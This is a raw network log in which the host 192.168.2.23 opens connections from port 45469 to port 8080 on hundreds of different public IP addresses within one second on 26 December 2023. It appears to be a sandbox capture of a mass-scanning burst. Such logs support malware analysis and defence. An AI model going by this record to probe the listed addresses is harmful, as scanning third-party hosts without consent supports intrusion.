Dec 26, 2023 21:22:46.134711981 CET	45469	8080	192.168.2.23	94.13.201.132
Dec 26, 2023 21:22:46.134723902 CET	45469	8080	192.168.2.23	62.179.129.14
Dec 26, 2023 21:22:46.134730101 CET	45469	8080	192.168.2.23	85.252.252.96
Dec 26, 2023 21:22:46.134742975 CET	45469	8080	192.168.2.23	95.183.94.205
Dec 26, 2023 21:22:46.134757042 CET	45469	8080	192.168.2.23	94.17.116.219
Dec 26, 2023 21:22:46.134767056 CET	45469	8080	192.168.2.23	94.34.74.129
Dec 26, 2023 21:22:46.134769917 CET	45469	8080	192.168.2.23	85.240.250.209
Dec 26, 2023 21:22:46.134769917 CET	45469	8080	192.168.2.23	85.186.160.209
Dec 26, 2023 21:22:46.134778976 CET	45469	8080	192.168.2.23	94.213.102.173
Dec 26, 2023 21:22:46.134778976 CET	45469	8080	192.168.2.23	62.184.185.66
Dec 26, 2023 21:22:46.134779930 CET	45469	8080	192.168.2.23	94.139.31.46
Dec 26, 2023 21:22:46.134779930 CET	45469	8080	192.168.2.23	95.242.63.54
Dec 26, 2023 21:22:46.134788036 CET	45469	8080	192.168.2.23	85.196.179.229
Dec 26, 2023 21:22:46.134802103 CET	45469	8080	192.168.2.23	62.38.190.251
Dec 26, 2023 21:22:46.134814978 CET	45469	8080	192.168.2.23	85.66.243.46
Dec 26, 2023 21:22:46.134821892 CET	45469	8080	192.168.2.23	94.110.162.174
Dec 26, 2023 21:22:46.134823084 CET	45469	8080	192.168.2.23	31.31.7.74
Dec 26, 2023 21:22:46.134823084 CET	45469	8080	192.168.2.23	62.28.201.120
Dec 26, 2023 21:22:46.134828091 CET	45469	8080	192.168.2.23	85.103.79.25
Dec 26, 2023 21:22:46.134835958 CET	45469	8080	192.168.2.23	62.178.199.67
Dec 26, 2023 21:22:46.134835958 CET	45469	8080	192.168.2.23	31.229.35.30
Dec 26, 2023 21:22:46.134835958 CET	45469	8080	192.168.2.23	62.219.3.21
Dec 26, 2023 21:22:46.134843111 CET	45469	8080	192.168.2.23	94.213.5.254
Dec 26, 2023 21:22:46.134843111 CET	45469	8080	192.168.2.23	85.57.75.32
Dec 26, 2023 21:22:46.134852886 CET	45469	8080	192.168.2.23	95.70.5.215
Dec 26, 2023 21:22:46.134856939 CET	45469	8080	192.168.2.23	62.92.44.167
Dec 26, 2023 21:22:46.134871006 CET	45469	8080	192.168.2.23	95.133.105.227
Dec 26, 2023 21:22:46.134876966 CET	45469	8080	192.168.2.23	85.217.63.34
Dec 26, 2023 21:22:46.134902954 CET	45469	8080	192.168.2.23	85.42.83.110
Dec 26, 2023 21:22:46.134912014 CET	45469	8080	192.168.2.23	31.34.69.188
Dec 26, 2023 21:22:46.134912014 CET	45469	8080	192.168.2.23	94.161.211.170
Dec 26, 2023 21:22:46.134938955 CET	45469	8080	192.168.2.23	62.194.105.145
Dec 26, 2023 21:22:46.134942055 CET	45469	8080	192.168.2.23	31.111.168.193
Dec 26, 2023 21:22:46.134954929 CET	45469	8080	192.168.2.23	31.55.99.165
Dec 26, 2023 21:22:46.134962082 CET	45469	8080	192.168.2.23	85.250.121.29
Dec 26, 2023 21:22:46.134972095 CET	45469	8080	192.168.2.23	62.160.156.141
Dec 26, 2023 21:22:46.134979963 CET	45469	8080	192.168.2.23	31.206.55.60
Dec 26, 2023 21:22:46.134995937 CET	45469	8080	192.168.2.23	62.128.51.96
Dec 26, 2023 21:22:46.135009050 CET	45469	8080	192.168.2.23	31.219.64.136
Dec 26, 2023 21:22:46.135009050 CET	45469	8080	192.168.2.23	62.235.144.164
Dec 26, 2023 21:22:46.135024071 CET	45469	8080	192.168.2.23	95.217.120.45
Dec 26, 2023 21:22:46.135035992 CET	45469	8080	192.168.2.23	62.148.97.147
Dec 26, 2023 21:22:46.135035992 CET	45469	8080	192.168.2.23	94.57.254.131
Dec 26, 2023 21:22:46.135040045 CET	45469	8080	192.168.2.23	95.187.22.31
Dec 26, 2023 21:22:46.135056019 CET	45469	8080	192.168.2.23	31.120.77.118
Dec 26, 2023 21:22:46.135067940 CET	45469	8080	192.168.2.23	95.184.118.31
Dec 26, 2023 21:22:46.135081053 CET	45469	8080	192.168.2.23	62.201.34.252
Dec 26, 2023 21:22:46.135085106 CET	45469	8080	192.168.2.23	62.212.192.130
Dec 26, 2023 21:22:46.135098934 CET	45469	8080	192.168.2.23	85.91.10.164
Dec 26, 2023 21:22:46.135102034 CET	45469	8080	192.168.2.23	62.130.123.180
Dec 26, 2023 21:22:46.135109901 CET	45469	8080	192.168.2.23	95.199.10.42
Dec 26, 2023 21:22:46.135111094 CET	45469	8080	192.168.2.23	62.37.234.51
Dec 26, 2023 21:22:46.135124922 CET	45469	8080	192.168.2.23	94.26.66.241
Dec 26, 2023 21:22:46.135135889 CET	45469	8080	192.168.2.23	85.132.5.130
Dec 26, 2023 21:22:46.135142088 CET	45469	8080	192.168.2.23	62.199.113.41
Dec 26, 2023 21:22:46.135144949 CET	45469	8080	192.168.2.23	62.118.83.66
Dec 26, 2023 21:22:46.135148048 CET	45469	8080	192.168.2.23	62.217.21.49
Dec 26, 2023 21:22:46.135148048 CET	45469	8080	192.168.2.23	31.252.13.205
Dec 26, 2023 21:22:46.135159016 CET	45469	8080	192.168.2.23	94.175.208.22
Dec 26, 2023 21:22:46.135166883 CET	45469	8080	192.168.2.23	94.30.88.45
Dec 26, 2023 21:22:46.135188103 CET	45469	8080	192.168.2.23	95.40.175.84
Dec 26, 2023 21:22:46.135195971 CET	45469	8080	192.168.2.23	31.126.68.191
Dec 26, 2023 21:22:46.135206938 CET	45469	8080	192.168.2.23	94.15.134.139
Dec 26, 2023 21:22:46.135207891 CET	45469	8080	192.168.2.23	62.176.58.175
Dec 26, 2023 21:22:46.135209084 CET	45469	8080	192.168.2.23	94.112.94.3
Dec 26, 2023 21:22:46.135226011 CET	45469	8080	192.168.2.23	95.20.145.66
Dec 26, 2023 21:22:46.135226965 CET	45469	8080	192.168.2.23	85.243.39.158
Dec 26, 2023 21:22:46.135232925 CET	45469	8080	192.168.2.23	31.97.39.77
Dec 26, 2023 21:22:46.135241985 CET	45469	8080	192.168.2.23	95.2.197.159
Dec 26, 2023 21:22:46.135278940 CET	45469	8080	192.168.2.23	62.65.214.217
Dec 26, 2023 21:22:46.135289907 CET	45469	8080	192.168.2.23	62.86.192.163
Dec 26, 2023 21:22:46.135289907 CET	45469	8080	192.168.2.23	95.86.131.248
Dec 26, 2023 21:22:46.135289907 CET	45469	8080	192.168.2.23	62.169.236.140
Dec 26, 2023 21:22:46.135298967 CET	45469	8080	192.168.2.23	62.215.83.205
Dec 26, 2023 21:22:46.135303020 CET	45469	8080	192.168.2.23	62.217.75.87
Dec 26, 2023 21:22:46.135303020 CET	45469	8080	192.168.2.23	95.5.145.51
Dec 26, 2023 21:22:46.135328054 CET	45469	8080	192.168.2.23	94.18.245.163
Dec 26, 2023 21:22:46.135332108 CET	45469	8080	192.168.2.23	85.255.21.124
Dec 26, 2023 21:22:46.135335922 CET	45469	8080	192.168.2.23	85.112.57.40
Dec 26, 2023 21:22:46.135337114 CET	45469	8080	192.168.2.23	62.102.223.146
Dec 26, 2023 21:22:46.135339975 CET	45469	8080	192.168.2.23	95.97.158.186
Dec 26, 2023 21:22:46.135350943 CET	45469	8080	192.168.2.23	31.134.95.28
Dec 26, 2023 21:22:46.135354042 CET	45469	8080	192.168.2.23	62.80.202.109
Dec 26, 2023 21:22:46.135366917 CET	45469	8080	192.168.2.23	85.152.158.50
Dec 26, 2023 21:22:46.135379076 CET	45469	8080	192.168.2.23	31.41.47.169
Dec 26, 2023 21:22:46.135390043 CET	45469	8080	192.168.2.23	95.108.4.82
Dec 26, 2023 21:22:46.135410070 CET	45469	8080	192.168.2.23	94.206.158.33
Dec 26, 2023 21:22:46.135411978 CET	45469	8080	192.168.2.23	94.12.111.222
Dec 26, 2023 21:22:46.135423899 CET	45469	8080	192.168.2.23	94.90.148.93
Dec 26, 2023 21:22:46.135435104 CET	45469	8080	192.168.2.23	31.232.175.109
Dec 26, 2023 21:22:46.135442972 CET	45469	8080	192.168.2.23	31.67.211.109
Dec 26, 2023 21:22:46.135446072 CET	45469	8080	192.168.2.23	95.243.200.143
Dec 26, 2023 21:22:46.135462046 CET	45469	8080	192.168.2.23	94.225.77.70
Dec 26, 2023 21:22:46.135469913 CET	45469	8080	192.168.2.23	31.248.232.152
Dec 26, 2023 21:22:46.135469913 CET	45469	8080	192.168.2.23	95.21.221.111
Dec 26, 2023 21:22:46.135473967 CET	45469	8080	192.168.2.23	94.245.117.208
Dec 26, 2023 21:22:46.135487080 CET	45469	8080	192.168.2.23	85.16.167.96
Dec 26, 2023 21:22:46.135488987 CET	45469	8080	192.168.2.23	95.145.140.238
Dec 26, 2023 21:22:46.135510921 CET	45469	8080	192.168.2.23	31.214.116.34
Dec 26, 2023 21:22:46.135513067 CET	45469	8080	192.168.2.23	94.242.164.130
Dec 26, 2023 21:22:46.135516882 CET	45469	8080	192.168.2.23	62.142.37.173
Dec 26, 2023 21:22:46.135521889 CET	45469	8080	192.168.2.23	95.249.17.81
Dec 26, 2023 21:22:46.135533094 CET	45469	8080	192.168.2.23	95.149.148.74
Dec 26, 2023 21:22:46.135546923 CET	45469	8080	192.168.2.23	31.121.19.194
Dec 26, 2023 21:22:46.135562897 CET	45469	8080	192.168.2.23	31.243.214.110
Dec 26, 2023 21:22:46.135565042 CET	45469	8080	192.168.2.23	31.191.76.20
Dec 26, 2023 21:22:46.135581970 CET	45469	8080	192.168.2.23	62.211.239.234
Dec 26, 2023 21:22:46.135586023 CET	45469	8080	192.168.2.23	85.189.76.30
Dec 26, 2023 21:22:46.135586023 CET	45469	8080	192.168.2.23	31.249.209.76
Dec 26, 2023 21:22:46.135586023 CET	45469	8080	192.168.2.23	31.162.2.118
Dec 26, 2023 21:22:46.135587931 CET	45469	8080	192.168.2.23	62.231.190.56
Dec 26, 2023 21:22:46.135602951 CET	45469	8080	192.168.2.23	31.172.226.225
Dec 26, 2023 21:22:46.135617018 CET	45469	8080	192.168.2.23	62.12.65.178
Dec 26, 2023 21:22:46.135618925 CET	45469	8080	192.168.2.23	95.240.52.30
Dec 26, 2023 21:22:46.135637999 CET	45469	8080	192.168.2.23	94.181.37.226
Dec 26, 2023 21:22:46.135638952 CET	45469	8080	192.168.2.23	62.187.242.135
Dec 26, 2023 21:22:46.135643959 CET	45469	8080	192.168.2.23	95.61.208.103
Dec 26, 2023 21:22:46.135648012 CET	45469	8080	192.168.2.23	95.197.132.230
Dec 26, 2023 21:22:46.135652065 CET	45469	8080	192.168.2.23	31.85.160.205
Dec 26, 2023 21:22:46.135669947 CET	45469	8080	192.168.2.23	94.9.231.251
Dec 26, 2023 21:22:46.135669947 CET	45469	8080	192.168.2.23	95.209.24.195
Dec 26, 2023 21:22:46.135685921 CET	45469	8080	192.168.2.23	85.189.254.138
Dec 26, 2023 21:22:46.135691881 CET	45469	8080	192.168.2.23	85.98.139.171
Dec 26, 2023 21:22:46.135693073 CET	45469	8080	192.168.2.23	95.29.51.116
Dec 26, 2023 21:22:46.135706902 CET	45469	8080	192.168.2.23	85.237.79.69
Dec 26, 2023 21:22:46.135724068 CET	45469	8080	192.168.2.23	31.252.130.88
Dec 26, 2023 21:22:46.135726929 CET	45469	8080	192.168.2.23	62.15.56.220
Dec 26, 2023 21:22:46.135746002 CET	45469	8080	192.168.2.23	95.59.89.130
Dec 26, 2023 21:22:46.135746002 CET	45469	8080	192.168.2.23	95.94.210.212
Dec 26, 2023 21:22:46.135773897 CET	45469	8080	192.168.2.23	94.228.44.74
Dec 26, 2023 21:22:46.135776043 CET	45469	8080	192.168.2.23	95.88.137.202
Dec 26, 2023 21:22:46.135782003 CET	45469	8080	192.168.2.23	85.37.156.213
Dec 26, 2023 21:22:46.135782003 CET	45469	8080	192.168.2.23	62.209.13.13
Dec 26, 2023 21:22:46.135783911 CET	45469	8080	192.168.2.23	31.5.225.67
Dec 26, 2023 21:22:46.135783911 CET	45469	8080	192.168.2.23	31.253.48.141
Dec 26, 2023 21:22:46.135790110 CET	45469	8080	192.168.2.23	85.102.21.139
Dec 26, 2023 21:22:46.135790110 CET	45469	8080	192.168.2.23	85.203.2.125
Dec 26, 2023 21:22:46.135792017 CET	45469	8080	192.168.2.23	94.29.20.104
Dec 26, 2023 21:22:46.135792017 CET	45469	8080	192.168.2.23	62.178.171.34
Dec 26, 2023 21:22:46.135801077 CET	45469	8080	192.168.2.23	85.123.70.194
Dec 26, 2023 21:22:46.135806084 CET	45469	8080	192.168.2.23	95.156.5.174
Dec 26, 2023 21:22:46.135807037 CET	45469	8080	192.168.2.23	85.35.22.149
Dec 26, 2023 21:22:46.135807037 CET	45469	8080	192.168.2.23	31.91.133.54
Dec 26, 2023 21:22:46.135808945 CET	45469	8080	192.168.2.23	94.77.22.23
Dec 26, 2023 21:22:46.135823965 CET	45469	8080	192.168.2.23	94.195.243.146
Dec 26, 2023 21:22:46.135826111 CET	45469	8080	192.168.2.23	94.127.46.107
Dec 26, 2023 21:22:46.135833979 CET	45469	8080	192.168.2.23	94.238.71.111
Dec 26, 2023 21:22:46.135839939 CET	45469	8080	192.168.2.23	95.244.180.56
Dec 26, 2023 21:22:46.135847092 CET	45469	8080	192.168.2.23	62.169.3.2
Dec 26, 2023 21:22:46.135850906 CET	45469	8080	192.168.2.23	31.44.75.124
Dec 26, 2023 21:22:46.135855913 CET	45469	8080	192.168.2.23	85.247.176.209
Dec 26, 2023 21:22:46.135869026 CET	45469	8080	192.168.2.23	62.4.159.13
Dec 26, 2023 21:22:46.135869980 CET	45469	8080	192.168.2.23	85.238.208.92
Dec 26, 2023 21:22:46.135885000 CET	45469	8080	192.168.2.23	94.239.14.51
Dec 26, 2023 21:22:46.135899067 CET	45469	8080	192.168.2.23	85.113.60.123
Dec 26, 2023 21:22:46.135907888 CET	45469	8080	192.168.2.23	95.29.43.90
Dec 26, 2023 21:22:46.135907888 CET	45469	8080	192.168.2.23	85.197.198.86
Dec 26, 2023 21:22:46.135912895 CET	45469	8080	192.168.2.23	95.29.203.74
Dec 26, 2023 21:22:46.135924101 CET	45469	8080	192.168.2.23	31.221.245.157
Dec 26, 2023 21:22:46.135927916 CET	45469	8080	192.168.2.23	62.225.209.127
Dec 26, 2023 21:22:46.135948896 CET	45469	8080	192.168.2.23	95.218.105.95
Dec 26, 2023 21:22:46.135948896 CET	45469	8080	192.168.2.23	31.67.246.20
Dec 26, 2023 21:22:46.135952950 CET	45469	8080	192.168.2.23	31.119.87.42
Dec 26, 2023 21:22:46.135963917 CET	45469	8080	192.168.2.23	94.167.179.204
Dec 26, 2023 21:22:46.135977983 CET	45469	8080	192.168.2.23	95.93.236.189
Dec 26, 2023 21:22:46.136003971 CET	45469	8080	192.168.2.23	31.242.13.44
Dec 26, 2023 21:22:46.136015892 CET	45469	8080	192.168.2.23	62.234.119.215
Dec 26, 2023 21:22:46.136020899 CET	45469	8080	192.168.2.23	62.248.250.114
Dec 26, 2023 21:22:46.136024952 CET	45469	8080	192.168.2.23	31.35.189.221
Dec 26, 2023 21:22:46.136024952 CET	45469	8080	192.168.2.23	31.202.153.56
Dec 26, 2023 21:22:46.136024952 CET	45469	8080	192.168.2.23	85.78.150.175
Dec 26, 2023 21:22:46.136033058 CET	45469	8080	192.168.2.23	62.125.232.34
Dec 26, 2023 21:22:46.136039019 CET	45469	8080	192.168.2.23	62.41.122.97
Dec 26, 2023 21:22:46.136039019 CET	45469	8080	192.168.2.23	85.83.124.134
Dec 26, 2023 21:22:46.136049032 CET	45469	8080	192.168.2.23	85.83.69.34
Dec 26, 2023 21:22:46.136060953 CET	45469	8080	192.168.2.23	62.79.120.73
Dec 26, 2023 21:22:46.136064053 CET	45469	8080	192.168.2.23	85.63.209.196
Dec 26, 2023 21:22:46.136069059 CET	45469	8080	192.168.2.23	85.220.17.130
Dec 26, 2023 21:22:46.136074066 CET	45469	8080	192.168.2.23	85.234.61.30
Dec 26, 2023 21:22:46.136075020 CET	45469	8080	192.168.2.23	94.136.108.109
Dec 26, 2023 21:22:46.136075974 CET	45469	8080	192.168.2.23	85.128.94.3
Dec 26, 2023 21:22:46.136087894 CET	45469	8080	192.168.2.23	94.152.152.111
Dec 26, 2023 21:22:46.136092901 CET	45469	8080	192.168.2.23	62.81.168.9
Dec 26, 2023 21:22:46.136109114 CET	45469	8080	192.168.2.23	94.113.235.43
Dec 26, 2023 21:22:46.136116028 CET	45469	8080	192.168.2.23	31.221.37.58
Dec 26, 2023 21:22:46.136123896 CET	45469	8080	192.168.2.23	31.191.103.26
Dec 26, 2023 21:22:46.136126995 CET	45469	8080	192.168.2.23	95.141.39.23
Dec 26, 2023 21:22:46.136138916 CET	45469	8080	192.168.2.23	95.188.165.218
Dec 26, 2023 21:22:46.136143923 CET	45469	8080	192.168.2.23	31.115.242.12
Dec 26, 2023 21:22:46.136152983 CET	45469	8080	192.168.2.23	95.213.129.251
Dec 26, 2023 21:22:46.136168957 CET	45469	8080	192.168.2.23	31.127.117.153
Dec 26, 2023 21:22:46.136174917 CET	45469	8080	192.168.2.23	62.6.192.189
Dec 26, 2023 21:22:46.136174917 CET	45469	8080	192.168.2.23	62.225.190.89
Dec 26, 2023 21:22:46.136182070 CET	45469	8080	192.168.2.23	85.165.115.49
Dec 26, 2023 21:22:46.136184931 CET	45469	8080	192.168.2.23	62.199.185.210
Dec 26, 2023 21:22:46.136195898 CET	45469	8080	192.168.2.23	62.30.115.232
Dec 26, 2023 21:22:46.136195898 CET	45469	8080	192.168.2.23	31.199.184.36
Dec 26, 2023 21:22:46.136205912 CET	45469	8080	192.168.2.23	62.132.68.119
Dec 26, 2023 21:22:46.136209011 CET	45469	8080	192.168.2.23	85.94.151.182
Dec 26, 2023 21:22:46.136218071 CET	45469	8080	192.168.2.23	62.15.149.135
Dec 26, 2023 21:22:46.136231899 CET	45469	8080	192.168.2.23	31.173.64.67
Dec 26, 2023 21:22:46.136235952 CET	45469	8080	192.168.2.23	94.11.40.152
Dec 26, 2023 21:22:46.136238098 CET	45469	8080	192.168.2.23	95.252.219.235
Dec 26, 2023 21:22:46.136238098 CET	45469	8080	192.168.2.23	62.32.140.105
Dec 26, 2023 21:22:46.136248112 CET	45469	8080	192.168.2.23	94.225.218.80
Dec 26, 2023 21:22:46.136264086 CET	45469	8080	192.168.2.23	31.151.233.104
Dec 26, 2023 21:22:46.136271954 CET	45469	8080	192.168.2.23	31.241.44.152
Dec 26, 2023 21:22:46.136280060 CET	45469	8080	192.168.2.23	85.161.224.93
Dec 26, 2023 21:22:46.136288881 CET	45469	8080	192.168.2.23	95.240.189.107
Dec 26, 2023 21:22:46.136291027 CET	45469	8080	192.168.2.23	85.239.101.4
Dec 26, 2023 21:22:46.136312962 CET	45469	8080	192.168.2.23	62.91.13.231
Dec 26, 2023 21:22:46.136315107 CET	45469	8080	192.168.2.23	85.198.64.239
Dec 26, 2023 21:22:46.136321068 CET	45469	8080	192.168.2.23	62.181.175.28
Dec 26, 2023 21:22:46.136334896 CET	45469	8080	192.168.2.23	31.220.167.150
Dec 26, 2023 21:22:46.136348009 CET	45469	8080	192.168.2.23	85.250.112.128
Dec 26, 2023 21:22:46.136358976 CET	45469	8080	192.168.2.23	62.86.220.145
Dec 26, 2023 21:22:46.136362076 CET	45469	8080	192.168.2.23	31.253.231.221
Dec 26, 2023 21:22:46.136375904 CET	45469	8080	192.168.2.23	85.159.26.195
Dec 26, 2023 21:22:46.136380911 CET	45469	8080	192.168.2.23	85.231.163.113
Dec 26, 2023 21:22:46.136389971 CET	45469	8080	192.168.2.23	62.153.35.1
Dec 26, 2023 21:22:46.136404991 CET	45469	8080	192.168.2.23	31.31.135.191
Dec 26, 2023 21:22:46.136410952 CET	45469	8080	192.168.2.23	95.116.116.36
Dec 26, 2023 21:22:46.136428118 CET	45469	8080	192.168.2.23	31.165.178.213
Dec 26, 2023 21:22:46.136429071 CET	45469	8080	192.168.2.23	94.240.135.77
Dec 26, 2023 21:22:46.136437893 CET	45469	8080	192.168.2.23	31.38.88.89
Dec 26, 2023 21:22:46.136440039 CET	45469	8080	192.168.2.23	62.249.149.236
Dec 26, 2023 21:22:46.136447906 CET	45469	8080	192.168.2.23	31.214.186.44
Dec 26, 2023 21:22:46.136451006 CET	45469	8080	192.168.2.23	85.55.4.230
Dec 26, 2023 21:22:46.136461020 CET	45469	8080	192.168.2.23	31.122.240.183
Dec 26, 2023 21:22:46.136462927 CET	45469	8080	192.168.2.23	62.251.60.209
Dec 26, 2023 21:22:46.136481047 CET	45469	8080	192.168.2.23	62.46.109.147
Dec 26, 2023 21:22:46.136487961 CET	45469	8080	192.168.2.23	94.203.148.45
Dec 26, 2023 21:22:46.136490107 CET	45469	8080	192.168.2.23	95.109.34.150
Dec 26, 2023 21:22:46.136490107 CET	45469	8080	192.168.2.23	62.118.63.156
Dec 26, 2023 21:22:46.136497974 CET	45469	8080	192.168.2.23	62.150.196.136
Dec 26, 2023 21:22:46.136504889 CET	45469	8080	192.168.2.23	94.128.185.21
Dec 26, 2023 21:22:46.136512995 CET	45469	8080	192.168.2.23	85.219.179.2
Dec 26, 2023 21:22:46.136512995 CET	45469	8080	192.168.2.23	62.250.85.90
Dec 26, 2023 21:22:46.136512995 CET	45469	8080	192.168.2.23	94.77.31.21
Dec 26, 2023 21:22:46.136512995 CET	45469	8080	192.168.2.23	94.26.151.168
Dec 26, 2023 21:22:46.136514902 CET	45469	8080	192.168.2.23	95.229.237.7
Dec 26, 2023 21:22:46.136518002 CET	45469	8080	192.168.2.23	31.26.160.75
Dec 26, 2023 21:22:46.136518002 CET	45469	8080	192.168.2.23	94.161.10.63
Dec 26, 2023 21:22:46.136537075 CET	45469	8080	192.168.2.23	85.74.187.138
Dec 26, 2023 21:22:46.136542082 CET	45469	8080	192.168.2.23	62.5.177.236
Dec 26, 2023 21:22:46.136545897 CET	45469	8080	192.168.2.23	62.219.67.77
Dec 26, 2023 21:22:46.136545897 CET	45469	8080	192.168.2.23	94.190.51.225
Dec 26, 2023 21:22:46.136552095 CET	45469	8080	192.168.2.23	94.205.12.205
Dec 26, 2023 21:22:46.136563063 CET	45469	8080	192.168.2.23	62.88.107.159
Dec 26, 2023 21:22:46.136581898 CET	45469	8080	192.168.2.23	62.178.229.101
Dec 26, 2023 21:22:46.136583090 CET	45469	8080	192.168.2.23	31.115.198.162
Dec 26, 2023 21:22:46.136595964 CET	45469	8080	192.168.2.23	94.240.174.192
Dec 26, 2023 21:22:46.136604071 CET	45469	8080	192.168.2.23	85.58.213.149
Dec 26, 2023 21:22:46.136604071 CET	45469	8080	192.168.2.23	31.0.72.102
Dec 26, 2023 21:22:46.136612892 CET	45469	8080	192.168.2.23	85.82.232.104
Dec 26, 2023 21:22:46.136621952 CET	45469	8080	192.168.2.23	31.155.74.40
Dec 26, 2023 21:22:46.136634111 CET	45469	8080	192.168.2.23	94.18.171.238
Dec 26, 2023 21:22:46.136647940 CET	45469	8080	192.168.2.23	62.54.245.162
Dec 26, 2023 21:22:46.136650085 CET	45469	8080	192.168.2.23	62.43.221.62
Dec 26, 2023 21:22:46.136660099 CET	45469	8080	192.168.2.23	94.139.138.59
Dec 26, 2023 21:22:46.136666059 CET	45469	8080	192.168.2.23	95.1.122.19
Dec 26, 2023 21:22:46.136667013 CET	45469	8080	192.168.2.23	85.221.173.230
Dec 26, 2023 21:22:46.136687040 CET	45469	8080	192.168.2.23	94.220.26.183
Dec 26, 2023 21:22:46.136693954 CET	45469	8080	192.168.2.23	85.190.178.100
Dec 26, 2023 21:22:46.136707067 CET	45469	8080	192.168.2.23	94.210.183.56
Dec 26, 2023 21:22:46.136730909 CET	45469	8080	192.168.2.23	62.186.225.39
Dec 26, 2023 21:22:46.136740923 CET	45469	8080	192.168.2.23	31.214.238.241
Dec 26, 2023 21:22:46.136749029 CET	45469	8080	192.168.2.23	31.166.169.70
Dec 26, 2023 21:22:46.136753082 CET	45469	8080	192.168.2.23	31.173.232.177
Dec 26, 2023 21:22:46.136760950 CET	45469	8080	192.168.2.23	31.210.74.112
Dec 26, 2023 21:22:46.136780024 CET	45469	8080	192.168.2.23	31.126.3.75
Dec 26, 2023 21:22:46.136784077 CET	45469	8080	192.168.2.23	94.207.127.53
Dec 26, 2023 21:22:46.136787891 CET	45469	8080	192.168.2.23	62.166.28.38
Dec 26, 2023 21:22:46.136787891 CET	45469	8080	192.168.2.23	85.48.243.196
Dec 26, 2023 21:22:46.136809111 CET	45469	8080	192.168.2.23	94.14.197.72
Dec 26, 2023 21:22:46.136811972 CET	45469	8080	192.168.2.23	94.2.205.31
Dec 26, 2023 21:22:46.136816978 CET	45469	8080	192.168.2.23	31.128.159.124
Dec 26, 2023 21:22:46.136821985 CET	45469	8080	192.168.2.23	62.199.86.131
Dec 26, 2023 21:22:46.136840105 CET	45469	8080	192.168.2.23	94.231.153.3
Dec 26, 2023 21:22:46.136847019 CET	45469	8080	192.168.2.23	31.225.103.98
Dec 26, 2023 21:22:46.136851072 CET	45469	8080	192.168.2.23	85.248.152.56
Dec 26, 2023 21:22:46.136858940 CET	45469	8080	192.168.2.23	85.108.74.130
Dec 26, 2023 21:22:46.136878014 CET	45469	8080	192.168.2.23	85.127.4.47
Dec 26, 2023 21:22:46.136878967 CET	45469	8080	192.168.2.23	94.195.136.223
Dec 26, 2023 21:22:46.136924028 CET	45469	8080	192.168.2.23	31.15.224.244
Dec 26, 2023 21:22:46.136924982 CET	45469	8080	192.168.2.23	94.183.25.146
Dec 26, 2023 21:22:46.136925936 CET	45469	8080	192.168.2.23	85.52.215.209
Dec 26, 2023 21:22:46.136925936 CET	45469	8080	192.168.2.23	94.224.157.248
Dec 26, 2023 21:22:46.136925936 CET	45469	8080	192.168.2.23	95.123.229.154
Dec 26, 2023 21:22:46.136940002 CET	45469	8080	192.168.2.23	85.53.155.205
Dec 26, 2023 21:22:46.136941910 CET	45469	8080	192.168.2.23	85.176.212.28
Dec 26, 2023 21:22:46.136957884 CET	45469	8080	192.168.2.23	85.65.233.152
Dec 26, 2023 21:22:46.136975050 CET	45469	8080	192.168.2.23	95.193.206.51
Dec 26, 2023 21:22:46.136975050 CET	45469	8080	192.168.2.23	85.24.56.52
Dec 26, 2023 21:22:46.136980057 CET	45469	8080	192.168.2.23	94.17.172.238
Dec 26, 2023 21:22:46.136985064 CET	45469	8080	192.168.2.23	94.213.17.115
Dec 26, 2023 21:22:46.136990070 CET	45469	8080	192.168.2.23	31.158.123.141
Dec 26, 2023 21:22:46.136990070 CET	45469	8080	192.168.2.23	95.114.21.119
Dec 26, 2023 21:22:46.137002945 CET	45469	8080	192.168.2.23	31.99.67.83
Dec 26, 2023 21:22:46.137021065 CET	45469	8080	192.168.2.23	94.184.79.42
Dec 26, 2023 21:22:46.137027979 CET	45469	8080	192.168.2.23	62.186.113.51
Dec 26, 2023 21:22:46.137037039 CET	45469	8080	192.168.2.23	31.249.125.156
Dec 26, 2023 21:22:46.137051105 CET	45469	8080	192.168.2.23	62.38.71.123
Dec 26, 2023 21:22:46.137065887 CET	45469	8080	192.168.2.23	62.104.190.149
Dec 26, 2023 21:22:46.137068987 CET	45469	8080	192.168.2.23	95.211.127.228
Dec 26, 2023 21:22:46.137079954 CET	45469	8080	192.168.2.23	95.84.137.251
Dec 26, 2023 21:22:46.137079954 CET	45469	8080	192.168.2.23	94.254.138.48
Dec 26, 2023 21:22:46.137083054 CET	45469	8080	192.168.2.23	31.240.124.231
Dec 26, 2023 21:22:46.137083054 CET	45469	8080	192.168.2.23	31.185.147.35
Dec 26, 2023 21:22:46.137099981 CET	45469	8080	192.168.2.23	31.68.5.21
Dec 26, 2023 21:22:46.137104034 CET	45469	8080	192.168.2.23	62.221.19.244
Dec 26, 2023 21:22:46.137104034 CET	45469	8080	192.168.2.23	62.10.170.238
Dec 26, 2023 21:22:46.137104988 CET	45469	8080	192.168.2.23	85.160.241.129
Dec 26, 2023 21:22:46.137108088 CET	45469	8080	192.168.2.23	62.98.17.27
Dec 26, 2023 21:22:46.137116909 CET	45469	8080	192.168.2.23	62.111.80.15
Dec 26, 2023 21:22:46.137125015 CET	45469	8080	192.168.2.23	95.159.17.203
Dec 26, 2023 21:22:46.137130976 CET	45469	8080	192.168.2.23	95.31.248.178
Dec 26, 2023 21:22:46.137135029 CET	45469	8080	192.168.2.23	95.151.182.134
Dec 26, 2023 21:22:46.137142897 CET	45469	8080	192.168.2.23	95.204.194.63
Dec 26, 2023 21:22:46.137145042 CET	45469	8080	192.168.2.23	94.213.109.159
Dec 26, 2023 21:22:46.137145996 CET	45469	8080	192.168.2.23	62.2.150.6
Dec 26, 2023 21:22:46.137154102 CET	45469	8080	192.168.2.23	62.148.208.246
Dec 26, 2023 21:22:46.137154102 CET	45469	8080	192.168.2.23	95.244.94.239
Dec 26, 2023 21:22:46.137161016 CET	45469	8080	192.168.2.23	31.232.232.242
Dec 26, 2023 21:22:46.137164116 CET	45469	8080	192.168.2.23	31.229.54.193
Dec 26, 2023 21:22:46.137177944 CET	45469	8080	192.168.2.23	31.241.211.175
Dec 26, 2023 21:22:46.137192965 CET	45469	8080	192.168.2.23	62.221.219.108
Dec 26, 2023 21:22:46.137197971 CET	45469	8080	192.168.2.23	94.229.212.46
Dec 26, 2023 21:22:46.137211084 CET	45469	8080	192.168.2.23	95.182.22.138
Dec 26, 2023 21:22:46.137213945 CET	45469	8080	192.168.2.23	94.203.38.1
Dec 26, 2023 21:22:46.137214899 CET	45469	8080	192.168.2.23	62.151.89.200
Dec 26, 2023 21:22:46.137219906 CET	45469	8080	192.168.2.23	31.61.13.18
Dec 26, 2023 21:22:46.137219906 CET	45469	8080	192.168.2.23	31.224.49.36
